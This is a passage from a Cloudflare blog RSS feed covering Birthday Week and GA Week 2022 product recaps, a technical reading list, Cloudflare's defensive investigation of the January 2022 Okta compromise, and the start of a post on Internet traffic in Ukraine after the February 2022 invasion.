    <td>Workers Analytics Engine is a new way for developers to store and analyze time series analytics about anything using Cloudflare Workers, and it’s now in open beta!</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/radar2/">Radar 2.0</a></td>
    <td>On the second anniversary of Cloudflare Radar, we are launching Cloudflare Radar 2.0 in beta. It makes it easier to find insights and explore data, see more insights, and share them with others.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/announcing-cloudflare-radar-outage-center/">Cloudflare Radar Outage Center</a></td>
    <td>The new Cloudflare Radar Outage Center (CROC), launched today as part of Radar 2.0, is intended to be an archive of Internet outages around the world.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/radar-domain-rankings/">Radar Domain Rankings</a></td>
    <td>Radar Domain Rankings is a new dataset for exploring the most popular domains on the Internet. The dataset aims to identify the top most popular domains based on how people use the Internet globally, without tracking individuals’ Internet use.</td>
  </tr>
</tbody>
</table>
    <div>
      <h3>One More Thing</h3>
      <a href="#one-more-thing">
        
      </a>
    </div>
    <p>We had so much over the week that we had to add just one more day, with a big focus on cryptography: not only how clients connect to our network, but also how Cloudflare connects to customer origins.</p><table>
<thead>
  <tr>
    <th>What</th>
    <th>In a sentence…</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/post-quantum-for-all/">Bringing post quantum cryptography to Cloudflare customers</a></td>
    <td>As a beta service, all websites and APIs served through Cloudflare support post-quantum hybrid key agreement. This is on by default; no need for an opt-in. This means that if your browser/app supports it, the connection to our network is also secure against any future quantum computer.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/post-quantum-tunnel/">Cloudflare Tunnel goes post quantum</a></td>
    <td>Cloudflare Tunnel gets a new option to use post-quantum connections.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/securing-origin-connectivity/">Securing Origin Connectivity</a></td>
    <td>Cloudflare will automatically find the most secure connection possible to origin servers and use it automatically.</td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Next</h3>
      <a href="#next">
        
      </a>
    </div>
    <p>And that’s it for <a href="/tag/birthday-week/">Birthday Week 2022</a>. But it’s not over for Cloudflare Innovation Weeks this year; stay tuned for a week of developer goodies coming soon.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">4UOKdYeNzmaHDJ0kr0riqB</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[GA Week 2022: what you may have missed]]></title>
            <link>https://blog.cloudflare.com/ga-week-2022-recap/</link>
            <pubDate>Fri, 23 Sep 2022 13:00:00 GMT</pubDate>
            <description><![CDATA[ We made a lot of new products Generally Available this week, so in case you missed it, here’s a recap ]]></description>
            <content:encoded><![CDATA[ <p>Back in 2019, we worked on a chart for Cloudflare’s IPO S-1 document that showed major releases since Cloudflare was launched in 2010. Here’s that chart:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3mPxKF8Z2syd5Sf2UJUO5T/2f25e481d82696eb78e0efd6e4c90d18/image1-40.png" />
            
            </figure><p>Of course, that chart doesn’t show everything we’ve shipped, but the curve demonstrates a truth about a growing company: we keep shipping more and more products and services. Some of those things start with a beta, sometimes open and sometimes private. But all of them become generally available after the beta period.</p><p>Back in, say, 2014, we only had a few major releases per year. But as the years have progressed and the company has grown we have constant updates, releases and changes. This year a confluence of products becoming generally available in September meant it made sense to wrap them all up into GA Week.</p><p>GA Week has now finished, and the team is working to put the finishing touches on Birthday Week (coming this Sunday!), but here’s a recap of everything that we launched this week.</p><table>
<thead>
  <tr>
    <th>What launched</th>
    <th>Summary</th>
    <th>Available for?</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td>Monday (September 19)</td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/cloudforce-one-is-now-ga/">Cloudforce One</a></td>
    <td>Our threat operations and research team, Cloudforce One, is now open for business and has begun conducting threat briefings.</td>
    <td>Enterprise</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/domain-scoped-roles-ga/">Improved Access Control: Domain Scoped Roles are now generally available</a></td>
    <td>It is possible to scope your users’ access to specific domains with Domain Scoped Roles. This will allow all users access to roles, and the ability to access within zones. </td>
    <td>Currently available to all Free plans, and coming to Enterprise shortly.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/account-waf/">Account WAF now available to Enterprise customers</a></td>
    <td>Users can manage and configure the WAF for all of their zones from a single pane of glass. This includes custom rulesets and managed rulesets (Core/OWASP and Managed).</td>
    <td>Enterprise</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/adaptive-ddos-protection/">Introducing Cloudflare Adaptive DDoS Protection - our new traffic profiling system for mitigating DDoS attacks</a></td>
    <td>Cloudflare’s new Adaptive DDoS Protection system learns your unique traffic patterns and constantly adapts to protect you against sophisticated DDoS attacks.</td>
    <td>Built into our Advanced DDoS product</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/advanced-ddos-alerts/">Introducing Advanced DDoS Alerts</a></td>
    <td>Cloudflare’s Advanced DDoS Alerts provide tailored and actionable notifications in real-time.</td>
    <td>Built into our Advanced DDoS product</td>
  </tr>
  <tr>
    <td>Tuesday (September 20)</td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/casb-ga/">Detect security issues in your SaaS apps with Cloudflare CASB</a></td>
    <td>By leveraging API-driven integrations, receive comprehensive visibility and control over SaaS apps to prevent data leaks, detect Shadow IT, block insider threats, and avoid compliance violations.</td>
    <td>Enterprise Zero Trust</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/inline-dlp-ga/">Cloudflare Data Loss Prevention now Generally Available</a></td>
    <td>Data Loss Prevention is now available for Cloudflare customers, giving customers more options to protect their sensitive data.</td>
    <td>Enterprise Zero Trust</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/cloudflare-one-partner-program-acceleration/">Cloudflare One Partner Program acceleration</a></td>
    <td>The Cloudflare One Partner Program gains traction with existing and prospective partners.</td>
    <td>Enterprise Zero Trust</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/magic-gateway-browser-isolation/">Isolate browser-borne threats on any network with WAN-as-a-Service</a></td>
    <td>Defend any network from browser-borne threats with Cloudflare Browser Isolation by connecting legacy firewalls over IPsec / GRE</td>
    <td>Zero Trust</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/email-security/">Cloudflare Area 1 - how the best Email Security keeps getting better</a></td>
    <td>Cloudflare started using Area 1 in 2020 and later acquired the company in 2022. We were most impressed how phishing, responsible for 90+% of cyberattacks, basically became a non-issue overnight when we deployed Area 1. But our vision is much bigger than preventing phishing attacks.</td>
    <td>Enterprise Zero Trust</td>
  </tr>
  <tr>
    <td>Wednesday (September 21)</td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/r2-ga/">R2 is now Generally Available</a></td>
    <td>R2 gives developers object storage minus the egress fees. With the GA of R2, developers will be free to focus on innovation instead of worrying about the costs of storing their data.</td>
    <td>All plans</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/stream-live-ga/">Stream Live is now Generally Available</a></td>
    <td>Stream live video to viewers at a global scale.</td>
    <td>All plans</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/workers-for-platforms-ga/">The easiest way to build a modern SaaS application</a></td>
    <td>With Workers for Platforms, your customers can build custom logic to meet their needs right into your application.</td>
    <td>Enterprise</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/workers-todo-part-1/">Going originless with Cloudflare Workers – Building a Todo app – Part 1: The API</a></td>
    <td>Today we go through Part 1 in a series on building completely serverless applications on Cloudflare’s Developer Platform.</td>
    <td>Free for all Workers users</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/store-and-retrieve-logs-on-r2/">Store and Retrieve your logs on R2</a></td>
    <td>Log Storage on R2: a cost-effective solution to store event logs for any of our products!</td>
    <td>Enterprise (as part of Logpush)</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/svg-support-in-cloudflare-images/">SVG support in Cloudflare Images</a></td>
    <td>Cloudflare Images now supports storing and delivering SVG files.</td>
    <td>Part of Cloudflare Images</td>
  </tr>
  <tr>
    <td>Thursday (September 22)</td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/regional-services-comes-to-apac/">Regional Services Expansion</a></td>
    <td>Cloudflare is launching the Data Localization Suite for Japan, India and Australia.</td>
    <td>Enterprise</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/api-management-metrics/">API Endpoint Management and Metrics are now GA</a></td>
    <td>API Shield customers can save, update, and monitor the performance of API endpoints.</td>
    <td>Enterprise</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/zaraz-uses-managed-components-and-dlp-to-make-tools-private/">Cloudflare Zaraz supports Managed Components and DLP to make third-party tools private</a></td>
    <td>Third party tools are the only thing you can’t control on your website, unless you use Managed Components with Cloudflare Zaraz.</td>
    <td>Available on all plans</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/logpush-filters-alerts/">Logpush: now lower cost and with more visibility</a></td>
    <td>Logpush jobs can now be filtered to contain only logs of interest. Also, you can receive alerts when jobs are failing, as well as get statistics on the health of your jobs.</td>
    <td>Enterprise</td>
  </tr>
</tbody>
</table><p>Of course, you won’t have to wait a year for more products to become GA. We’ll be shipping betas and making products generally available throughout the year. And we’ll continue iterating on our products so that all of them become leaders.</p><p><i>As we said at the </i><a href="/welcome-to-ga-week/"><i>start of GA Week</i></a><i>:</i></p><blockquote><p><i>“But it’s not just about making products work and be available, it’s about making the best-of-breed. We ship early and iterate rapidly. We’ve done this over the years for WAF, DDoS mitigation, bot management, API protection, CDN and our developer platform. Today, analyst firms such as Gartner, Forrester and IDC recognize us as leaders in all those areas.”</i></p></blockquote><p>Now, onwards to Birthday Week!</p>
    <div>
      <h3>Watch on Cloudflare TV</h3>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div></div><p></p> ]]></content:encoded>
            <category><![CDATA[GA Week]]></category>
            <category><![CDATA[General Availability]]></category>
            <guid isPermaLink="false">7fXF87d95npcRlDVMiaj2V</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Matt Silverlock</dc:creator>
        </item>
        <item>
            <title><![CDATA[Welcome to GA Week]]></title>
            <link>https://blog.cloudflare.com/welcome-to-ga-week/</link>
            <pubDate>Sun, 18 Sep 2022 17:00:00 GMT</pubDate>
            <description><![CDATA[ Over the course of the next week, you’re going to hear about Cloudflare products that are out of beta and generally available ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/32BNZVY13Pe7o4TyOBsfzE/8dc29dc2c5246ecc41660ff51d59cc61/image1-8.png" />
            
            </figure><p>Cloudflare ships a lot of products. Some of those products are shipped as beta, sometimes open, sometimes closed, and our huge customer base gives those betas an incredible workout. Making products work at scale, and in the heterogeneous environment of the real Internet is a challenge. We’re lucky to have so many enthusiastic customers ready to try out our betas.</p><p>And when those products exit beta they’re GA or Generally Available. This week you’ll be hearing a lot about products becoming GA.</p><p>But it’s not just about making products work and be available, it’s about making the best-of-breed. We ship early and iterate rapidly. We’ve done this over the years for <a href="https://www.cloudflare.com/lp/gartner-magic-quadrant-waap-2022/">WAF</a>, <a href="https://www.cloudflare.com/gigaom-radar-ddos-protection/">DDoS mitigation</a>, <a href="https://www.cloudflare.com/forrester-wave-bot-management-2022/">bot management</a>, <a href="https://www.cloudflare.com/lp/gartner-magic-quadrant-waap-2022/">API protection</a>, <a href="https://www.cloudflare.com/lp/idc-worldwide-cdn-marketscape/">CDN</a> and our <a href="https://www.cloudflare.com/forrester-wave-edge-development-2021/">developer platform</a>. Today analyst firms such as Gartner, Forrester and IDC recognize us as leaders in all those areas.</p><p>That’s one reason we’re <a href="https://www.cloudflare.com/case-studies/">trusted</a> by the likes of Broadcom, NCR, DHL Parcel, Panasonic, Canva, Shopify, L'Oréal, DoorDash, Garmin and more.</p><p>Over the years we’ve heard criticism that we’re the new kid on the block. The latest iteration of that is <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">Zero Trust</a> vendors seeing us as novices. It sounds all too familiar. It’s what the DDoS, WAF, bot management, DNS, API protection, and serverless vendors used to say before we blew past them.</p><p>We innovate fast because we built a structure and culture that allows it. Cloudflare operates three main innovation teams (Product/Engineering, Emerging Technology and Incubation, and Technology/Research) that work on projects with differing time horizons. We encourage innovation from outside those teams as well.</p><p>In a week’s time it’ll be Cloudflare’s 12th birthday and, as every year, we’ll have a Birthday Week when we’ll announce radically new and different products that are likely to cause a great deal of surprise. The teams above have been working hard on things that will change how people think about Cloudflare.</p><p>But before we get there, you’re going to hear about products that are out of beta and generally available. Most of these things have been announced before, here on this blog. But they were in beta.</p><p>Now they’re ready for everyone.</p><p>In fact, we had so many products becoming generally available that we decided to create a new <a href="/2021-innovations-weeks/">Innovation Week</a>: <b>Cloudflare GA Week</b>. We’ll still keep making products Generally Available throughout the year, but this year, at least, we have a bonanza week of products that are ready.</p><p>Even during the beta these products have been in use by real customers, and you’ll be hearing from them this week as well. It’s always inspiring to see how our products are used. It’s one thing to build a product, it’s fascinating to work with customers on how they’ll use it and what it enables them to do.</p><p>We aren’t going to be satisfied until every one of the products we talk about is best of breed and a leader in its own category. Together they form Cloudflare’s platform, a platform which is unmatched by anyone in the industry.</p>
    <div>
      <h3>Watch on Cloudflare TV</h3>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div></div><p></p> ]]></content:encoded>
            <category><![CDATA[GA Week]]></category>
            <category><![CDATA[General Availability]]></category>
            <guid isPermaLink="false">6wqcs7JFagYYafqXjz6oQ</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[A July 4 technical reading list]]></title>
            <link>https://blog.cloudflare.com/july-4-2022-reading-list/</link>
            <pubDate>Mon, 04 Jul 2022 12:55:08 GMT</pubDate>
            <description><![CDATA[ Here’s a short list of recent technical blog posts to give you something to read today ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2S9gHqjdCaiGCiCTBkGt0P/3a2a26f413cb9a908a9112a858495a7e/image1-61.png" />
            
            </figure><p>Here’s a short list of recent technical blog posts to give you something to read today.</p>
    <div>
      <h3>Internet Explorer, we hardly knew ye</h3>
      <a href="#internet-explorer-we-hardly-knew-ye">
        
      </a>
    </div>
    <p>Microsoft has announced the end-of-life for the venerable Internet Explorer browser. Here <a href="/internet-explorer-retired/">we take a look</a> at the demise of IE and the rise of the Edge browser. And we investigate how many bots on the Internet continue to impersonate Internet Explorer versions that have long since been replaced.</p>
    <div>
      <h3>Live-patching security vulnerabilities inside the Linux kernel with eBPF Linux Security Module</h3>
      <a href="#live-patching-security-vulnerabilities-inside-the-linux-kernel-with-ebpf-linux-security-module">
        
      </a>
    </div>
    <p>Looking for something with a lot of technical detail? Look no further than <a href="/live-patch-security-vulnerabilities-with-ebpf-lsm/">this blog about live-patching</a> the Linux kernel using eBPF. Code, Makefiles and more within!</p>
    <div>
      <h3>Hertzbleed explained</h3>
      <a href="#hertzbleed-explained">
        
      </a>
    </div>
    <p>Feeling mathematical? Or just need a dose of CPU-level antics? Look no further than this <a href="/hertzbleed-explained/">deep explainer</a> about how CPU frequency scaling leads to a nasty side channel affecting cryptographic algorithms.</p>
    <div>
      <h3>Early Hints update: How Cloudflare, Google, and Shopify are working together to build a faster Internet for everyone</h3>
      <a href="#early-hints-update-how-cloudflare-google-and-shopify-are-working-together-to-build-a-faster-internet-for-everyone">
        
      </a>
    </div>
    <p>The HTTP standard for Early Hints shows a lot of promise. How much? In this blog post, we <a href="/early-hints-performance/">dig into data</a> about Early Hints in the real world and show how much faster the web is with it.</p>
    <div>
      <h3>Private Access Tokens: eliminating CAPTCHAs on iPhones and Macs with open standards</h3>
      <a href="#private-access-tokens-eliminating-captchas-on-iphones-and-macs-with-open-standards">
        
      </a>
    </div>
    <p>Dislike CAPTCHAs? Yes, us too. As part of our program to eliminate captures there’s a new standard: Private Access Tokens. This blog shows <a href="/eliminating-captchas-on-iphones-and-macs-using-new-standard/">how they work</a> and how they can be used to prove you’re human without saying who you are.</p>
    <div>
      <h3>Optimizing TCP for high WAN throughput while preserving low latency</h3>
      <a href="#optimizing-tcp-for-high-wan-throughput-while-preserving-low-latency">
        
      </a>
    </div>
    <p>Network nerd? Yeah, me too. Here’s a very <a href="/optimizing-tcp-for-high-throughput-and-low-latency/">in depth look</a> at how we tune TCP parameters for low latency and high throughput.</p><p>...<i>We protect </i><a href="https://www.cloudflare.com/network-services/"><i>entire corporate networks</i></a><i>, help customers build </i><a href="https://workers.cloudflare.com/"><i>Internet-scale applications efficiently</i></a><i>, accelerate any </i><a href="https://www.cloudflare.com/performance/accelerate-internet-applications/"><i>website or Internet application</i></a><i>, ward off </i><a href="https://www.cloudflare.com/ddos/"><i>DDoS attacks</i></a><i>, keep </i><a href="https://www.cloudflare.com/application-security/"><i>hackers at bay</i></a><i>, and can help you on </i><a href="https://www.cloudflare.com/products/zero-trust/"><i>your journey to Zero Trust</i></a><i>.</i></p><p><i>Visit </i><a href="https://1.1.1.1/"><i>1.1.1.1</i></a><i> from any device to get started with our free app that makes your Internet faster and safer.To learn more about our mission to help build a better Internet, start </i><a href="https://www.cloudflare.com/learning/what-is-cloudflare/"><i>here</i></a><i>. If you’re looking for a new career direction, check out </i><a href="http://cloudflare.com/careers"><i>our open positions</i></a><i>.</i></p> ]]></content:encoded>
            <category><![CDATA[Reading List]]></category>
            <category><![CDATA[Radar]]></category>
            <category><![CDATA[Linux]]></category>
            <category><![CDATA[TCP]]></category>
            <category><![CDATA[Hertzbleed]]></category>
            <category><![CDATA[eBPF]]></category>
            <guid isPermaLink="false">4ffQabh80U3V99Grzwc88g</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare’s investigation of the January 2022 Okta compromise]]></title>
            <link>https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/</link>
            <pubDate>Tue, 22 Mar 2022 16:57:44 GMT</pubDate>
            <description><![CDATA[ Today at 03:30 UTC we learnt of a compromise of Okta. We use Okta internally for employee identity as part of our authentication stack. We have investigated this compromise carefully and do not believe we have been compromised as a result ]]></description>
            <content:encoded><![CDATA[ <p>Today, March 22, 2022 at 03:30 UTC we learnt of a compromise of Okta. We use Okta internally for employee identity as part of our authentication stack. We have investigated this compromise carefully and do not believe we have been compromised as a result. We do not use Okta for customer accounts; customers do not need to take any action unless they themselves use Okta.</p>
    <div>
      <h3>Investigation and actions</h3>
      <a href="#investigation-and-actions">
        
      </a>
    </div>
    <p>Our <a href="https://twitter.com/toddmckinnon/status/1506184721922859010">understanding</a> is that during January 2022, hackers outside Okta had access to an Okta support employee’s account and were able to take actions as if they were that employee. In a screenshot shared on social media, a Cloudflare employee’s email address was visible, along with a popup indicating the hacker was posing as an Okta employee and could have initiated a password reset.</p><p>We learnt of this incident via Cloudflare’s internal SIRT. SIRT is our Security Incident Response Team and any employee at Cloudflare can alert SIRT to a potential problem. At exactly 03:30 UTC, a Cloudflare employee emailed SIRT with a link to a <a href="https://twitter.com/_MG_/status/1506109152665382920">tweet</a> that had been sent at 03:22 UTC. The tweet indicated that Okta had potentially been breached. Multiple other Cloudflare employees contacted SIRT over the following two hours.</p><p>The following timeline outlines the major steps we took following that initial 03:30 UTC email to SIRT.</p>
    <div>
      <h4>Timeline (times in UTC)</h4>
      <a href="#timeline-times-in-utc">
        
      </a>
    </div>
    <p>03:30 - SIRT receives the first warning of the existence of the tweets.</p><p>03:38 - SIRT sees that the tweets contain information about Cloudflare (logo, user information).</p><p>03:41 - SIRT creates an incident room to start the investigation and starts gathering the necessary people.</p><p>03:50 - SIRT concludes that there were no relevant audit log events (such as password changes) for the user that appears in the screenshot mentioned above.</p><p>04:13 - Reached out to Okta directly asking for detailed information to help our investigation.</p><p>04:23 - All Okta logs that we ingest into our Security Information and Event Management (SIEM) system are reviewed for potential suspicious activities, including password resets over the past three months.</p><p>05:03 - SIRT suspends accounts of users that could have been affected.</p><p>We temporarily suspended access for the Cloudflare employee whose email address appeared in the hacker’s screenshots.</p><p>05:06 - SIRT starts an investigation of access logs (IPs, locations, multifactor methods) for the affected users.</p><p>05:38 - First <a href="https://twitter.com/eastdakota/status/1506143353544478724">tweet</a> from Matthew Prince acknowledging the issue.</p><p>Because it appeared that an Okta support employee with access to do things like force a password reset on an Okta customer account had been compromised, we decided to look at every employee who had reset their password or modified their Multi-Factor Authentication (MFA) in any way since December 1 up until today. Since Dec. 1, 2021, 144 Cloudflare employees had reset their password or modified their MFA. We forced a password reset for them all and let them know of the change.</p><p>05:44 - A list of all users that changed their password in the last three months is finalized. All accounts were required to go through a password reset.</p><p>06:40 - <a href="https://twitter.com/eastdakota/status/1506158901078618118">Tweet</a> from Matthew Prince about the password reset.</p><p>07:57 - We received confirmation from Okta that there were no relevant events that may indicate malicious activity in their support console for Cloudflare instances.</p>
    <div>
      <h3>How Cloudflare uses Okta</h3>
      <a href="#how-cloudflare-uses-okta">
        
      </a>
    </div>
    <p>Cloudflare uses Okta internally as our identity provider, integrated with Cloudflare Access to guarantee that our users can safely access internal resources. In previous blog posts, we described <a href="/dogfooding-from-home/">how we use Access to protect internal resources</a> and <a href="/securing-cloudflare-using-cloudflare/">how we integrated hardware tokens to make our user authentication process more resilient</a> and <a href="/account-compromise-security-overview/">prevent account takeovers</a>.</p><p>In the case of the Okta compromise, it would not suffice to just change a user's password. The attacker would also need to change the hardware (FIDO) token configured for the same user. As a result it would be easy to spot compromised accounts based on the associated hardware keys.</p><p>Even though logs are available in the Okta console, we also store them in our own systems. This adds an extra layer of security as we are able to store logs longer than what is available in the Okta console. That also ensures that a compromise in the Okta platform cannot alter evidence we have already collected and stored.</p><p>Okta is not used for customer authentication on our systems, and we do not store any customer data in Okta. It is only used for managing the accounts of our employees.</p><p>The main actions we took during this incident were:</p><ol><li><p>Reach out to Okta to gather more information on what is known about the attack.</p></li><li><p>Suspend the one Cloudflare account visible in the screenshots.</p></li><li><p>Search the <a href="https://developer.okta.com/docs/reference/api/system-log/">Okta System logs</a> for any signs of compromise (password changes, hardware token changes, etc.). Cloudflare reads the system Okta logs every five minutes and stores these in our SIEM so that if we were to experience an incident such as this one, we can look back further than the 90 days provided in the Okta dashboard. Some event types within Okta that we searched for are: <code>user.account.reset_password</code>, <code>user.mfa.factor.update</code>, <code>system.mfa.factor.deactivate</code>, <code>user.mfa.attempt_bypass</code>, and <code>user.session.impersonation.initiate</code>. It’s unclear from communications we’ve received from Okta so far who we would expect the <a href="https://developer.okta.com/docs/reference/api/system-log/#actor-object">System Log Actor</a> to be from the compromise of an Okta support employee.</p></li><li><p>Search <a href="https://support.google.com/a/answer/11479100?ref_topic=11479095">Google Workplace email logs</a> to view password resets. We confirmed password resets matched the Okta System logs using a separate source from Okta considering they were breached, and we were not sure how reliable their logging would be.</p></li><li><p>Compile a list of Cloudflare employee accounts that changed their passwords in the last three months and require a new password reset for all of them. As part of their account recovery, each user will join a video call with the Cloudflare IT team to verify their identity prior to having their account re-enabled.</p></li></ol>
    <div>
      <h3>What to do if you are an Okta customer</h3>
      <a href="#what-to-do-if-you-are-an-okta-customer">
        
      </a>
    </div>
    <p>If you are also an Okta customer, you should reach out to them for further information. We advise the following actions:</p><ol><li><p>Enable MFA for all user accounts. Passwords alone do not offer the necessary level of protection against attacks. We strongly recommend the usage of hard keys, as other methods of MFA can be vulnerable to phishing attacks.</p></li><li><p>Investigate and respond:a. Check all password and MFA changes for your Okta instances.b. Pay special attention to support initiated events.c. Make sure all password resets are valid or just assume they are all under suspicion and force a new password reset.d. If you find any suspicious MFA-related events, make sure only valid MFA keys are present in the user's account configuration.</p></li><li><p>Make sure you have other security layers to provide extra security in case one of them fails.</p></li></ol>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Cloudflare’s Security and IT teams are continuing to work on this compromise. If further information comes to light that indicates compromise beyond the January timeline we will publish further posts detailing our findings and actions.</p><p>We are also in contact with Okta with a number of requests for additional logs and information. If anything comes to light that alters our assessment of the situation we will update the blog or write further posts.</p> ]]></content:encoded>
            <category><![CDATA[Okta]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Post Mortem]]></category>
            <guid isPermaLink="false">2adIs12PUMYCgRU2zfLCJs</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Lucas Ferreira</dc:creator>
            <dc:creator>Daniel Stinson-Diess</dc:creator>
        </item>
        <item>
            <title><![CDATA[Internet traffic patterns in Ukraine since February 21, 2022]]></title>
            <link>https://blog.cloudflare.com/internet-traffic-patterns-in-ukraine-since-february-21-2022/</link>
            <pubDate>Fri, 04 Mar 2022 16:10:34 GMT</pubDate>
            <description><![CDATA[ Cloudflare operates in more than 250 cities worldwide where we connect our equipment to the Internet to provide our broad range of services ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare operates in more than 250 cities worldwide where we connect our equipment to the Internet to provide our broad range of services. We have data centers in Ukraine, Belarus and Russia and across the world. To operate our service we monitor traffic trends, performance and errors seen at each data center, aggregate data about DNS, and congestion and packet loss on Internet links.</p>
    <div>
      <h3>Internet Traffic</h3>
      <a href="#internet-traffic">
        
      </a>
    </div>
    <p>For reference, here is a map of Ukraine showing its major cities. Note that whenever we talk about dates and times in this post, we are using UTC. Ukraine’s current time zone is UTC+2.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/43BTsfRp3ZcQk7rg2oKluA/c9a077ad532271c2f61207cf2a79e4c9/image10.png" />
            
            </figure><p>© OpenStreetMap contributors</p><p>Internet traffic in Ukraine generally follows a pretty predictable pattern based on day and night. Lowest in the hours after local midnight and picking up as people wake up. It’s not uncommon to see a dip around lunchtime and a peak when people go home in the evening. That pattern is clearly visible in this chart of overall Internet traffic seen by Cloudflare for Ukrainian networks on Monday, Tuesday, and Wednesday prior to the invasion.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/512rc9IE56VYMNbBnCBcmN/680b4b85791bf9cd4f2edbbed410baeb/2.png" />
            
            </figure><p>Starting Thursday, traffic was significantly lower. On Thursday, we saw about 70% of our normal request volume and about 60% on Friday. Request volumes recovered to 70% of pre-invasion volume on Saturday and Sunday before peaking on Monday and Tuesday because of attacks that we mitigated coming from networks in Ukraine.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1hCgAOFf5myXap0TsTd8qe/c2dd709e6405cc6da6eed2e0e09ed806/3.png" />
            
            </figure><p>This chart shows attack traffic blocked by Cloudflare that originated on networks in Ukraine. Note that this is quite different from attacks against <code>.ua</code> domains, which can originate anywhere in the world and are discussed below.</p><p>Analysis of network traffic from different cities in Ukraine gives us some insight into people’s use of the Internet and availability of Internet access. Here’s Internet traffic from the capital, <b>Kyiv</b>:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2xhbh5iTAQDTrkCrDTQF7T/7c22e4b911f9a9f560d13967efa4f050/4-1.png" />
            
            </figure><p>Once again the “normal” ebb and flow of Internet traffic is seen on Monday, Tuesday, and Wednesday. Early on Thursday morning, Internet traffic picks up after Vladimir Putin’s announcement of the attack but never reaches normal levels that day. Friday is even lower, but traffic in Kyiv has gradually increased since then.</p><p>Moving westward to <b>Lviv,</b> we see a very different pattern of use.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Uv1YjPoLdT1wUIXpHU3o8/21bb430f35cf1df22d5c82fd2bf83c81/5-1.png" />
            
            </figure><p>The same normal flows on Monday to Wednesday are visible, followed by a smaller drop for three days and then a dramatic increase in traffic. As many Ukrainians have moved westward towards Poland, Slovakia and Romania, away from the fighting, it appears that Internet traffic has grown with their arrival in Lviv.</p><p>The city of <b>Uzhhorod</b> on the Slovakian border shows a similar pattern.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5Fe2jz2XHogeQja6Z8MHDn/464941d6ceecdfd524e526c6851ef7c7/6.png" />
            
            </figure><p>To the east of Lviv, the city of <b>Ternopil</b> has also seen an increase in Internet traffic.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4dkfXY8F4zhVpNVt6PcJLF/6c728c3850a886f275351812a2820ca7/7.png" />
            
            </figure><p>As has <b>Rivne</b>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1FSqAgYIIWm2PFYR2YusPd/9c3adc5bf9353c1963cc70695c56c606/Rivne.png" />
            
